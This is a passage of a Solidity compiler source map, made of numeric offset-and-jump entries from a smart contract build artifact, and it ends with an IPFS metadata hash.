31;2920:5;2895:31;:::i;:::-;2945:5;-1:-1:-1;3002:2:1;2987:18;;2974:32;3015:33;2974:32;3015:33;:::i;:::-;3067:7;3057:17;;;2692:388;;;;;:::o;3085:127::-;3146:10;3141:3;3137:20;3134:1;3127:31;3177:4;3174:1;3167:15;3201:4;3198:1;3191:15;3217:422;3306:1;3349:5;3306:1;3363:270;3384:7;3374:8;3371:21;3363:270;;;3443:4;3439:1;3435:6;3431:17;3425:4;3422:27;3419:53;;;3452:18;;:::i;:::-;3502:7;3492:8;3488:22;3485:55;;;3522:16;;;;3485:55;3601:22;;;;3561:15;;;;3363:270;;;3367:3;3217:422;;;;;:::o;3644:806::-;3693:5;3723:8;3713:80;;-1:-1:-1;3764:1:1;3778:5;;3713:80;3812:4;3802:76;;-1:-1:-1;3849:1:1;3863:5;;3802:76;3894:4;3912:1;3907:59;;;;3980:1;3975:130;;;;3887:218;;3907:59;3937:1;3928:10;;3951:5;;;3975:130;4012:3;4002:8;3999:17;3996:43;;;4019:18;;:::i;:::-;-1:-1:-1;;4075:1:1;4061:16;;4090:5;;3887:218;;4189:2;4179:8;4176:16;4170:3;4164:4;4161:13;4157:36;4151:2;4141:8;4138:16;4133:2;4127:4;4124:12;4120:35;4117:77;4114:159;;;-1:-1:-1;4226:19:1;;;4258:5;;4114:159;4305:34;4330:8;4324:4;4305:34;:::i;:::-;4375:6;4371:1;4367:6;4363:19;4354:7;4351:32;4348:58;;;4386:18;;:::i;:::-;4424:20;;3644:806;-1:-1:-1;;;3644:806:1:o;4455:140::-;4513:5;4542:47;4583:4;4573:8;4569:19;4563:4;4542:47;:::i;4600:168::-;4673:9;;;4704;;4721:15;;;4715:22;;4701:37;4691:71;;4742:18;;:::i;4773:356::-;4975:2;4957:21;;;4994:18;;;4987:30;5053:34;5048:2;5033:18;;5026:62;5120:2;5105:18;;4773:356::o;5486:251::-;5556:6;5609:2;5597:9;5588:7;5584:23;5580:32;5577:52;;;5625:1;5622;5615:12;5577:52;5657:9;5651:16;5676:31;5701:5;5676:31;:::i;6663:306::-;6751:6;6759;6767;6820:2;6808:9;6799:7;6795:23;6791:32;6788:52;;;6836:1;6833;6826:12;6788:52;6865:9;6859:16;6849:26;;6915:2;6904:9;6900:18;6894:25;6884:35;;6959:2;6948:9;6944:18;6938:25;6928:35;;6663:306;;;;;:::o;7253:277::-;7320:6;7373:2;7361:9;7352:7;7348:23;7344:32;7341:52;;;7389:1;7386;7379:12;7341:52;7421:9;7415:16;7474:5;7467:13;7460:21;7453:5;7450:32;7440:60;;7496:1;7493;7486:12;10322:125;10387:9;;;10408:10;;;10405:36;;;10421:18;;:::i;10807:135::-;10846:3;10867:17;;;10864:43;;10887:18;;:::i;:::-;-1:-1:-1;10934:1:1;10923:13;;10807:135::o;10947:128::-;11014:9;;;11035:11;;;11032:37;;;11049:18;;:::i;11212:127::-;11273:10;11268:3;11264:20;11261:1;11254:31;11304:4;11301:1;11294:15;11328:4;11325:1;11318:15;11344:980;11606:4;11654:3;11643:9;11639:19;11685:6;11674:9;11667:25;11711:2;11749:6;11744:2;11733:9;11729:18;11722:34;11792:3;11787:2;11776:9;11772:18;11765:31;11816:6;11851;11845:13;11882:6;11874;11867:22;11920:3;11909:9;11905:19;11898:26;;11959:2;11951:6;11947:15;11933:29;;11980:1;11990:195;12004:6;12001:1;11998:13;11990:195;;;12069:13;;-1:-1:-1;;;;;12065:39:1;12053:52;;12160:15;;;;12125:12;;;;12101:1;12019:9;11990:195;;;-1:-1:-1;;;;;;;12241:32:1;;;;12236:2;12221:18;;12214:60;-1:-1:-1;;;12305:3:1;12290:19;12283:35;12202:3;11344:980;-1:-1:-1;;;11344:980:1:o;12329:217::-;12369:1;12395;12385:132;;12439:10;12434:3;12430:20;12427:1;12420:31;12474:4;12471:1;12464:15;12502:4;12499:1;12492:15;12385:132;-1:-1:-1;12531:9:1;;12329:217::o

ipfs://9dbfc836cd5a21194e52045421c5cb2a4fdffd24ef83dac4340281f968b82ee4